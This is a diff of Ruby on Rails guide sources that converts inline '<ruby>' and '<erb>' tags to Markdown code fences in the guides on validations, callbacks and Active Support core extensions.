@@ -328,20 +328,20 @@ This helper validates that your attributes have only numeric values. By default,
If you set +:only_integer+ to +true+, then it will use the
-<ruby>
+```ruby
/\A[<plus>-]?\d<plus>\Z/
-</ruby>
+```
regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
WARNING. Note that the regular expression above allows a trailing newline character.
-<ruby>
+```ruby
class Player < ActiveRecord::Base
validates :points, :numericality => true
validates :games_played, :numericality => { :only_integer => true }
end
-</ruby>
+```
Besides +:only_integer+, this helper also accepts the following options to add constraints to acceptable values:
@@ -359,20 +359,20 @@ h4. +presence+
This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :login, :email, :presence => true
end
-</ruby>
+```
If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
-<ruby>
+```ruby
class LineItem < ActiveRecord::Base
belongs_to :order
validates :order_id, :presence => true
end
-</ruby>
+```
If you validate the presence of an object associated via a +has_one+ or +has_many+ relationship, it will check that the object is neither +blank?+ nor +marked_for_destruction?+.
@@ -384,30 +384,30 @@ h4. +uniqueness+
This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database.
-<ruby>
+```ruby
class Account < ActiveRecord::Base
validates :email, :uniqueness => true
end
-</ruby>
+```
The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.
There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
-<ruby>
+```ruby
class Holiday < ActiveRecord::Base
validates :name, :uniqueness => { :scope => :year,
:message => "should happen once per year" }
end
-</ruby>
+```
There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :uniqueness => { :case_sensitive => false }
end
-</ruby>
+```
WARNING. Note that some databases are configured to perform case-insensitive searches anyway.
@@ -417,7 +417,7 @@ h4. +validates_with+
This helper passes the record to a separate class for validation.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates_with GoodnessValidator
end
@@ -429,7 +429,7 @@ class GoodnessValidator < ActiveModel::Validator
end
end
end
-</ruby>
+```
NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute.
@@ -439,7 +439,7 @@ To implement the validate method, you must have a +record+ parameter defined, wh
Like all other validations, +validates_with+ takes the +:if+, +:unless+ and +:on+ options. If you pass any other options, it will send those options to the validator class as +options+:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates_with GoodnessValidator, :fields => [:first_name, :last_name]
end
@@ -451,19 +451,19 @@ class GoodnessValidator < ActiveModel::Validator
end
end
end
-</ruby>
+```
h4. +validates_each+
This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to +validates_each+ will be tested against it. In the following example, we don't want names and surnames to begin with lower case.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates_each :name, :surname do |record, attr, value|
record.errors.add(attr, 'must start with upper case') if value =~ /\A[a-z]/
end
end
-</ruby>
+```
The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.
@@ -475,12 +475,12 @@ h4. +:allow_nil+
The +:allow_nil+ option skips the validation when the value being validated is +nil+.
-<ruby>
+```ruby
class Coffee < ActiveRecord::Base
validates :size, :inclusion => { :in => %w(small medium large),
:message => "%{value} is not a valid size" }, :allow_nil => true
end
-</ruby>
+```
TIP: +:allow_nil+ is ignored by the presence validator.
@@ -488,14 +488,14 @@ h4. +:allow_blank+
The +:allow_blank+ option is similar to the +:allow_nil+ option. This option will let validation pass if the attribute's value is +blank?+, like +nil+ or an empty string for example.
-<ruby>
+```ruby
class Topic < ActiveRecord::Base
validates :title, :length => { :is => 5 }, :allow_blank => true
end
Topic.create("title" => "").valid? # => true
Topic.create("title" => nil).valid? # => true
-</ruby>
+```
TIP: +:allow_blank+ is ignored by the presence validator.
@@ -507,7 +507,7 @@ h4. +:on+
The +:on+ option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use +:on => :create+ to run the validation only when a new record is created or +:on => :update+ to run the validation only when a record is updated.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
# it will be possible to update email with a duplicated value
validates :email, :uniqueness => true, :on => :create
@@ -518,29 +518,29 @@ class Person < ActiveRecord::Base
# the default (validates on both create and update)
validates :name, :presence => true, :on => :save
end
-</ruby>
+```
h3. Strict Validations
You can also specify validations to be strict and raise +ActiveModel::StrictValidationFailed+ when the object is invalid.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => { :strict => true }
end
Person.new.valid? => ActiveModel::StrictValidationFailed: Name can't be blank
-</ruby>
+```
There is also an ability to pass custom exception to +:strict+ option
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :token, :presence => true, :uniqueness => true, :strict => TokenGenerationException
end
Person.new.valid? => TokenGenerationException: Token can't be blank
-</ruby>
+```
h3. Conditional Validation
@@ -550,7 +550,7 @@ h4. Using a Symbol with +:if+ and +:unless+
You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.
-<ruby>
+```ruby
class Order < ActiveRecord::Base
validates :card_number, :presence => true, :if => :paid_with_card?
@@ -558,41 +558,41 @@ class Order < ActiveRecord::Base
payment_type == "card"
end
end
-</ruby>
+```
h4. Using a String with +:if+ and +:unless+
You can also use a string that will be evaluated using +eval+ and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :surname, :presence => true, :if => "name.nil?"
end
-</ruby>
+```
h4. Using a Proc with +:if+ and +:unless+
Finally, it's possible to associate +:if+ and +:unless+ with a +Proc+ object which will be called. Using a +Proc+ object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.
-<ruby>
+```ruby
class Account < ActiveRecord::Base
validates :password, :confirmation => true,
:unless => Proc.new { |a| a.password.blank? }
end
-</ruby>
+```
h4. Grouping conditional validations
Sometimes it is useful to have multiple validations use one condition, it can be easily achieved using +with_options+.
-<ruby>
+```ruby
class User < ActiveRecord::Base
with_options :if => :is_admin? do |admin|
admin.validates :password, :length => { :minimum => 10 }
admin.validates :email, :presence => true
end
end
-</ruby>
+```
All validations inside of +with_options+ block will have automatically passed the condition +:if => :is_admin?+
@@ -600,13 +600,13 @@ h4. Combining validation conditions
On the other hand, when multiple conditions define whether or not a validation should happen, an +Array+ can be used. Moreover, you can apply both +:if:+ and +:unless+ to the same validation.
-<ruby>
+```ruby
class Computer < ActiveRecord::Base
validates :mouse, :presence => true,
:if => ["market.retail?", :desktop?]
:unless => Proc.new { |c| c.trackpad.present? }
end
-</ruby>
+```
The validation only runs when all the +:if+ conditions and none of the +:unless+ conditions are evaluated to +true+.
@@ -618,7 +618,7 @@ h4. Custom Validators
Custom validators are classes that extend <tt>ActiveModel::Validator</tt>. These classes must implement a +validate+ method which takes a record as an argument and performs the validation on it. The custom validator is called using the +validates_with+ method.
-<ruby>
+```ruby
class MyValidator < ActiveModel::Validator
def validate(record)
unless record.name.starts_with? 'X'
@@ -631,11 +631,11 @@ class Person
include ActiveModel::Validations
validates_with MyValidator
end
-</ruby>
+```
The easiest way to add custom validators for validating individual attributes is with the convenient <tt>ActiveModel::EachValidator</tt>. In this case, the custom validator class must implement a +validate_each+ method which takes three arguments: record, attribute and value which correspond to the instance, the attribute to be validated and the value of the attribute in the passed instance.
-<ruby>
+```ruby
class EmailValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
@@ -647,7 +647,7 @@ end
class Person < ActiveRecord::Base
validates :email, :presence => true, :email => true
end
-</ruby>
+```
As shown in the example, you can also combine standard validations with your own custom validators.
@@ -657,7 +657,7 @@ You can also create methods that verify the state of your models and add message
You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.
-<ruby>
+```ruby
class Invoice < ActiveRecord::Base
validate :expiration_date_cannot_be_in_the_past,
:discount_cannot_be_greater_than_total_value
@@ -674,11 +674,11 @@ class Invoice < ActiveRecord::Base
end
end
end
-</ruby>
+```
By default such validations will run every time you call +valid?+. It is also possible to control when to run these custom validations by giving an +:on+ option to the +validate+ method, with either: +:create+ or +:update+.
-<ruby>
+```ruby
class Invoice < ActiveRecord::Base
validate :active_customer, :on => :create
@@ -686,25 +686,25 @@ class Invoice < ActiveRecord::Base
errors.add(:customer_id, "is not active") unless customer.active?
end
end
-</ruby>
+```
You can even create your own validation helpers and reuse them in several different models. For example, an application that manages surveys may find it useful to express that a certain field corresponds to a set of choices:
-<ruby>
+```ruby
ActiveRecord::Base.class_eval do
def self.validates_as_choice(attr_name, n, options={})
validates attr_name, :inclusion => { { :in => 1..n }.merge!(options) }
end
end
-</ruby>
+```
Simply reopen +ActiveRecord::Base+ and define a class method like that. You'd typically put this code somewhere in +config/initializers+. You can use this helper like this:
-<ruby>
+```ruby
class Movie < ActiveRecord::Base
validates_as_choice :rating, 5
end
-</ruby>
+```
h3. Working with Validation Errors
@@ -716,7 +716,7 @@ h4(#working_with_validation_errors-errors). +errors+
Returns an instance of the class +ActiveModel::Errors+ containing all errors. Each key is the attribute name and the value is an array of strings with all errors.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true, :length => { :minimum => 3 }
end
@@ -729,13 +729,13 @@ person.errors
person = Person.new(:name => "John Doe")
person.valid? # => true
person.errors # => []
-</ruby>
+```
h4(#working_with_validation_errors-errors-2). +errors[]+
+errors[]+ is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true, :length => { :minimum => 3 }
end
@@ -752,13 +752,13 @@ person = Person.new
person.valid? # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
+```
h4. +errors.add+
The +add+ method lets you manually add messages that are related to particular attributes. You can use the +errors.full_messages+ or +errors.to_a+ methods to view the messages in the form they might be displayed to a user. Those particular messages get the attribute name prepended (and capitalized). +add+ receives the name of the attribute you want to add the message to, and the message itself.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
def a_method_used_for_validation_purposes
errors.add(:name, "cannot contain the characters !@#%*()_-+=")
@@ -772,11 +772,11 @@ person.errors[:name]
person.errors.full_messages
# => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
+```
Another way to do this is using +[]=+ setter
-<ruby>
+```ruby
class Person < ActiveRecord::Base
def a_method_used_for_validation_purposes
errors[:name] = "cannot contain the characters !@#%*()_-+="
@@ -790,25 +790,25 @@ Another way to do this is using +[]=+ setter
person.errors.to_a
# => ["Name cannot contain the characters !@#%*()_-+="]
-</ruby>
+```
h4. +errors[:base]+
You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since +errors[:base]+ is an array, you can simply add a string to it and it will be used as an error message.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
def a_method_used_for_validation_purposes
errors[:base] << "This person is invalid because ..."
end
end
-</ruby>
+```
h4. +errors.clear+
The +clear+ method is used when you intentionally want to clear all the messages in the +errors+ collection. Of course, calling +errors.clear+ upon an invalid object won't actually make it valid: the +errors+ collection will now be empty, but the next time you call +valid?+ or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the +errors+ collection will be filled again.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true, :length => { :minimum => 3 }
end
@@ -825,13 +825,13 @@ p.save # => false
p.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"]
-</ruby>
+```
h4. +errors.size+
The +size+ method returns the total number of error messages for the object.
-<ruby>
+```ruby
class Person < ActiveRecord::Base
validates :name, :presence => true, :length => { :minimum => 3 }
end
@@ -843,7 +843,7 @@ person.errors.size # => 2
person = Person.new(:name => "Andrea", :email => "andrea@example.com")
person.valid? # => true
person.errors.size # => 0
-</ruby>
+```
h3. Displaying Validation Errors in the View
@@ -851,9 +851,9 @@ h3. Displaying Validation Errors in the View
You can install it as a gem by adding this line to your Gemfile:
-<ruby>
+```ruby
gem "dynamic_form"
-</ruby>
+```
Now you will have access to the two helper methods +error_messages+ and +error_messages_for+ in your view templates.
@@ -861,14 +861,14 @@ h4. +error_messages+ and +error_messages_for+
When creating a form with the +form_for+ helper, you can use the +error_messages+ method on the form builder to render all failed validation messages for the current model instance.
-<ruby>
+```ruby
class Product < ActiveRecord::Base
validates :description, :value, :presence => true
validates :value, :numericality => true, :allow_nil => true
end
-</ruby>
+```
-<erb>
+```erb
<%= form_for(@product) do |f| %>
<%= f.error_messages %>
<p>
@@ -883,7 +883,7 @@ end
<%= f.submit "Create" %>
</p>
<% end %>
-</erb>
+```
If you submit the form with empty fields, the result will be similar to the one shown below:
@@ -893,19 +893,19 @@ NOTE: The appearance of the generated HTML will be different from the one shown,
You can also use the +error_messages_for+ helper to display the error messages of a model assigned to a view template. It is very similar to the previous example and will achieve exactly the same result.
-<erb>
+```erb
<%= error_messages_for :product %>
-</erb>
+```
The displayed text for each error message will always be formed by the capitalized name of the attribute that holds the error, followed by the error message itself.
Both the +form.error_messages+ and the +error_messages_for+ helpers accept options that let you customize the +div+ element that holds the messages, change the header text, change the message below the header, and specify the tag used for the header element. For example,
-<erb>
+```erb
<%= f.error_messages :header_message => "Invalid product!",
:message => "You'll need to fix the following fields:",
:header_tag => :h3 %>
-</erb>
+```
results in:
@@ -938,12 +938,12 @@ The way form fields with errors are treated is defined by +ActionView::Base.fiel
Below is a simple example where we change the Rails behavior to always display the error messages in front of each of the form fields in error. The error messages will be enclosed by a +span+ element with a +validation-error+ CSS class. There will be no +div+ element enclosing the +input+ element, so we get rid of that red border around the text field. You can use the +validation-error+ CSS class to style it anyway you want.
-<ruby>
+```ruby
ActionView::Base.field_error_proc = Proc.new do |html_tag, instance|
errors = Array(instance.error_message).join(',')
%(#{html_tag}<span class="validation-error">&nbsp;#{errors}</span>).html_safe
end
-</ruby>
+```
The result looks like the following:
@@ -957,7 +957,7 @@ h4. Callback Registration
In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
-<ruby>
+```ruby
class User < ActiveRecord::Base
validates :login, :email, :presence => true
@@ -970,11 +970,11 @@ class User < ActiveRecord::Base
end
end
end
-</ruby>
+```
The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
-<ruby>
+```ruby
class User < ActiveRecord::Base
validates :login, :email, :presence => true
@@ -982,7 +982,7 @@ class User < ActiveRecord::Base
user.name = user.login.capitalize if user.name.blank?
end
end
-</ruby>
+```
It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
@@ -1028,7 +1028,7 @@ The +after_find+ callback will be called whenever Active Record loads a record f
The +after_initialize+ and +after_find+ callbacks have no +before_*+ counterparts, but they can be registered just like the other Active Record callbacks.
-<ruby>
+```ruby
class User < ActiveRecord::Base
after_initialize do |user|
puts "You have initialized an object!"
@@ -1047,7 +1047,7 @@ You have initialized an object!
You have found an object!
You have initialized an object!
=> #<User id: 1>
-</ruby>
+```
h3. Running Callbacks
@@ -1111,7 +1111,7 @@ h3. Relational Callbacks
Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an +after_destroy+ callback to the +User+ model by way of its relationship to the +Post+ model:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_many :posts, :dependent => :destroy
end
@@ -1131,7 +1131,7 @@ end
>> user.destroy
Post destroyed
=> #<User id: 1>
-</ruby>
+```
h3. Conditional Callbacks
@@ -1141,43 +1141,43 @@ h4. Using +:if+ and +:unless+ with a +Symbol+
You can associate the +:if+ and +:unless+ options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the +:if+ option, the callback won't be executed if the predicate method returns false; when using the +:unless+ option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.
-<ruby>
+```ruby
class Order < ActiveRecord::Base
before_save :normalize_card_number, :if => :paid_with_card?
end
-</ruby>
+```
h4. Using +:if+ and +:unless+ with a String
You can also use a string that will be evaluated using +eval+ and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
before_save :normalize_card_number, :if => "paid_with_card?"
end
-</ruby>
+```
h4. Using +:if+ and +:unless+ with a +Proc+
Finally, it is possible to associate +:if+ and +:unless+ with a +Proc+ object. This option is best suited when writing short validation methods, usually one-liners:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
before_save :normalize_card_number,
:if => Proc.new { |order| order.paid_with_card? }
end
-</ruby>
+```
h4. Multiple Conditions for Callbacks
When writing conditional callbacks, it is possible to mix both +:if+ and +:unless+ in the same callback declaration:
-<ruby>
+```ruby
class Comment < ActiveRecord::Base
after_create :send_email_to_author, :if => :author_wants_emails?,
:unless => Proc.new { |comment| comment.post.ignore_comments? }
end
-</ruby>
+```
h3. Callback Classes
@@ -1185,7 +1185,7 @@ Sometimes the callback methods that you'll write will be useful enough to be reu
Here's an example where we create a class with an +after_destroy+ callback for a +PictureFile+ model:
-<ruby>
+```ruby
class PictureFileCallbacks
def after_destroy(picture_file)
if File.exists?(picture_file.filepath)
@@ -1193,19 +1193,19 @@ class PictureFileCallbacks
end
end
end
-</ruby>
+```
When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
-<ruby>
+```ruby
class PictureFile < ActiveRecord::Base
after_destroy PictureFileCallbacks.new
end
-</ruby>
+```
Note that we needed to instantiate a new +PictureFileCallbacks+ object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
-<ruby>
+```ruby
class PictureFileCallbacks
def self.after_destroy(picture_file)
if File.exists?(picture_file.filepath)
@@ -1213,15 +1213,15 @@ class PictureFileCallbacks
end
end
end
-</ruby>
+```
If the callback method is declared this way, it won't be necessary to instantiate a +PictureFileCallbacks+ object.
-<ruby>
+```ruby
class PictureFile < ActiveRecord::Base
after_destroy PictureFileCallbacks
end
-</ruby>
+```
You can declare as many callbacks as you want inside your callback classes.
@@ -1233,26 +1233,26 @@ h4. Creating Observers
For example, imagine a +User+ model where we want to send an email every time a new user is created. Because sending emails is not directly related to our model's purpose, we should create an observer to contain the code implementing this functionality.
-<shell>
+```shell
$ rails generate observer User
-</shell>
+```
generates +app/models/user_observer.rb+ containing the observer class +UserObserver+:
-<ruby>
+```ruby
class UserObserver < ActiveRecord::Observer
end
-</ruby>
+```
You may now add methods to be called at the desired occasions:
-<ruby>
+```ruby
class UserObserver < ActiveRecord::Observer
def after_create(model)
# code to send confirmation email...
end
end
-</ruby>
+```
As with callback classes, the observer's methods receive the observed model as a parameter.
@@ -1260,10 +1260,10 @@ h4. Registering Observers
Observers are conventionally placed inside of your +app/models+ directory and registered in your application's +config/application.rb+ file. For example, the +UserObserver+ above would be saved as +app/models/user_observer.rb+ and registered in +config/application.rb+ this way:
-<ruby>
+```ruby
# Activate observers that should always be running.
config.active_record.observers = :user_observer
-</ruby>
+```
As usual, settings in +config/environments+ take precedence over those in +config/application.rb+. So, if you prefer that an observer doesn't run in all environments, you can simply register it in a specific environment instead.
@@ -1271,7 +1271,7 @@ h4. Sharing Observers
By default, Rails will simply strip "Observer" from an observer's name to find the model it should observe. However, observers can also be used to add behavior to more than one model, and thus it is possible to explicitly specify the models that our observer should observe:
-<ruby>
+```ruby
class MailerObserver < ActiveRecord::Observer
observe :registration, :user
@@ -1279,14 +1279,14 @@ class MailerObserver < ActiveRecord::Observer
# code to send confirmation email...
end
end
-</ruby>
+```
In this example, the +after_create+ method will be called whenever a +Registration+ or +User+ is created. Note that this new +MailerObserver+ would also need to be registered in +config/application.rb+ in order to take effect:
-<ruby>
+```ruby
# Activate observers that should always be running.
config.active_record.observers = :mailer_observer
-</ruby>
+```
h3. Transaction Callbacks
@@ -1294,16 +1294,16 @@ There are two additional callbacks that are triggered by the completion of a dat
Consider, for example, the previous example where the +PictureFile+ model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the +after_destroy+ callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that +picture_file_2+ in the code below is not valid and the +save!+ method raises an error.
-<ruby>
+```ruby
PictureFile.transaction do
picture_file_1.destroy
picture_file_2.save!
end
-</ruby>
+```
By using the +after_commit+ callback we can account for this case.
-<ruby>
+```ruby
class PictureFile < ActiveRecord::Base
attr_accessor :delete_file
@@ -1318,6 +1318,6 @@ class PictureFile < ActiveRecord::Base
end
end
end
-</ruby>
+```
The +after_commit+ and +after_rollback+ callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index 8748817eb8..57c5817084 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -16,9 +16,9 @@ In order to have a near zero default footprint, Active Support does not load any
Thus, after a simple require like:
-<ruby>
+```ruby
require 'active_support'
-</ruby>
+```
objects do not even respond to +blank?+. Let's see how to load its definition.
@@ -32,9 +32,9 @@ NOTE: Defined in +active_support/core_ext/object/blank.rb+.
That means that this single call is enough:
-<ruby>
+```ruby
require 'active_support/core_ext/object/blank'
-</ruby>
+```
Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.
@@ -44,25 +44,25 @@ The next level is to simply load all extensions to +Object+. As a rule of thumb,
Thus, to load all extensions to +Object+ (including +blank?+):
-<ruby>
+```ruby
require 'active_support/core_ext/object'
-</ruby>
+```
h5. Loading All Core Extensions
You may prefer just to load all core extensions, there is a file for that:
-<ruby>
+```ruby
require 'active_support/core_ext'
-</ruby>
+```
h5. Loading All Active Support
And finally, if you want to have all Active Support available just issue:
-<ruby>
+```ruby
require 'active_support/all'
-</ruby>
+```
That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via +autoload+, so it is only loaded if used.
@@ -90,22 +90,22 @@ WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not*
For example, this method from +ActionDispatch::Session::AbstractStore+ uses +blank?+ for checking whether a session key is present:
-<ruby>
+```ruby
def ensure_session_key!
if @key.blank?
raise ArgumentError, 'A key is required...'
end
end
-</ruby>
+```
The method +present?+ is equivalent to +!blank?+. This example is taken from +ActionDispatch::Http::Cache::Response+:
-<ruby>
+```ruby
def set_conditional_cache_control!
return if self["Cache-Control"].present?
...
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/object/blank.rb+.
@@ -113,9 +113,9 @@ h4. +presence+
The +presence+ method returns its receiver if +present?+, and +nil+ otherwise. It is useful for idioms like this:
-<ruby>
+```ruby
host = config[:host].presence || 'localhost'
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/object/blank.rb+.
@@ -123,30 +123,30 @@ h4. +duplicable?+
A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
-<ruby>
+```ruby
1.object_id # => 3
Math.cos(0).to_i.object_id # => 3
-</ruby>
+```
Hence, there's no way these objects can be duplicated through +dup+ or +clone+:
-<ruby>
+```ruby
true.dup # => TypeError: can't dup TrueClass
-</ruby>
+```
Some numbers which are not singletons are not duplicable either:
-<ruby>
+```ruby
0.0.clone # => allocator undefined for Float
(2**1024).clone # => allocator undefined for Bignum
-</ruby>
+```
Active Support provides +duplicable?+ to programmatically query an object about this property:
-<ruby>
+```ruby
"".duplicable? # => true
false.duplicable? # => false
-</ruby>
+```
By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class and module objects.
@@ -158,7 +158,7 @@ h4. +deep_dup+
The +deep_dup+ method returns deep copy of a given object. Normally, when you +dup+ an object that contains other objects, ruby does not +dup+ them. If you have an array with a string, for example, it will look like this:
-<ruby>
+```ruby
array = ['string']
duplicate = array.dup
@@ -173,13 +173,13 @@ duplicate.first.gsub!('string', 'foo')
# first element was not duplicated, it will be changed for both arrays
array #=> ['foo']
duplicate #=> ['foo', 'another-string']
-</ruby>
+```
As you can see, after duplicating +Array+ instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since +dup+ does not make deep copy, the string inside array is still the same object.
If you need a deep copy of an object, you should use +deep_dup+. Here is an example:
-<ruby>
+```ruby
array = ['string']
duplicate = array.deep_dup
@@ -187,15 +187,15 @@ duplicate.first.gsub!('string', 'foo')
array #=> ['string']
duplicate #=> ['foo']
-</ruby>
+```
If object is not duplicable, +deep_dup+ will just return this object:
-<ruby>
+```ruby
number = 1
dup = number.deep_dup
number.object_id == dup.object_id # => true
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/object/deep_dup.rb+.
@@ -205,7 +205,7 @@ When you want to call a method on an object only if it is not +nil+, the simples
Here is an example:
-<ruby>
+```ruby
# without try
unless @number.nil?
@number.next
@@ -213,24 +213,24 @@ end
# with try
@number.try(:next)
-</ruby>
+```
Another example is this code from +ActiveRecord::ConnectionAdapters::AbstractAdapter+ where +@logger+ could be +nil+. You can see that the code uses +try+ and avoids an unnecessary check.
-<ruby>
+```ruby
def log_info(sql, name, ms)
if @logger.try(:debug?)
name = '%s (%.1fms)' % [name || 'SQL', ms]
@logger.debug(format_log_entry(name, sql.squeeze(' ')))
end
end
-</ruby>
+```
+try+ can also be called without arguments but a block, which will only be executed if the object is not nil:
-<ruby>
+```ruby
@person.try { |p| "#{p.first_name} #{p.last_name}" }
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/object/try.rb+.
@@ -238,7 +238,7 @@ h4. +class_eval(*args, &block)+
You can evaluate code in the context of any object's singleton class using +class_eval+:
-<ruby>
+```ruby
class Proc
def bind(object)
block, time = self, Time.current
@@ -251,7 +251,7 @@ class Proc
end.bind(object)
end
end
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+.
@@ -259,16 +259,16 @@ h4. +acts_like?(duck)+
The method +acts_like?+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
-<ruby>
+```ruby
def acts_like_string?
end
-</ruby>
+```
which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
-<ruby>
+```ruby
some_klass.acts_like?(:string)
-</ruby>
+```
Rails has classes that act like +Date+ or +Time+ and follow this contract.
@@ -280,39 +280,39 @@ All objects in Rails respond to the method +to_param+, which is meant to return
By default +to_param+ just calls +to_s+:
-<ruby>
+```ruby
7.to_param # => "7"
-</ruby>
+```
The return value of +to_param+ should *not* be escaped:
-<ruby>
+```ruby
"Tom & Jerry".to_param # => "Tom & Jerry"
-</ruby>
+```
Several classes in Rails overwrite this method.
For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/":
-<ruby>
+```ruby
[0, true, String].to_param # => "0/true/String"
-</ruby>
+```
Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given
-<ruby>
+```ruby
class User
def to_param
"#{id}-#{name.parameterize}"
end
end
-</ruby>
+```
we get:
-<ruby>
+```ruby
user_path(@user) # => "/users/357-john-smith"
-</ruby>
+```
WARNING. Controllers need to be aware of any redefinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+.
@@ -322,48 +322,48 @@ h4. +to_query+
Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
-<ruby>
+```ruby
class User
def to_param
"#{id}-#{name.parameterize}"
end
end
-</ruby>
+```
we get:
-<ruby>
+```ruby
current_user.to_query('user') # => user=357-john-smith
-</ruby>
+```
This method escapes whatever is needed, both for the key and the value:
-<ruby>
+```ruby
account.to_query('company[name]')
# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
-</ruby>
+```
so its output is ready to be used in a query string.
Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "&":
-<ruby>
+```ruby
[3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
-</ruby>
+```
Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling +to_query(key)+ on its values. Then it joins the result with "&":
-<ruby>
+```ruby
{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
-</ruby>
+```
The method +Hash#to_query+ accepts an optional namespace for the keys:
-<ruby>
+```ruby
{:id => 89, :name => "John Smith"}.to_query('user')
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
-</ruby>
+```
NOTE: Defined in +active_support/core_ext/object/to_query.rb+.
@@ -373,18 +373,18 @@ The method +with_options+ provides a way to factor out common options in a serie
Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
-<ruby>
+```ruby
class Account < ActiveRecord::Base
has_many :customers, :dependent => :destroy
has_many :products, :dependent => :destroy
has_many :invoices, :dependent => :destroy
has_many :expenses, :dependent => :destroy
end
-</ruby>
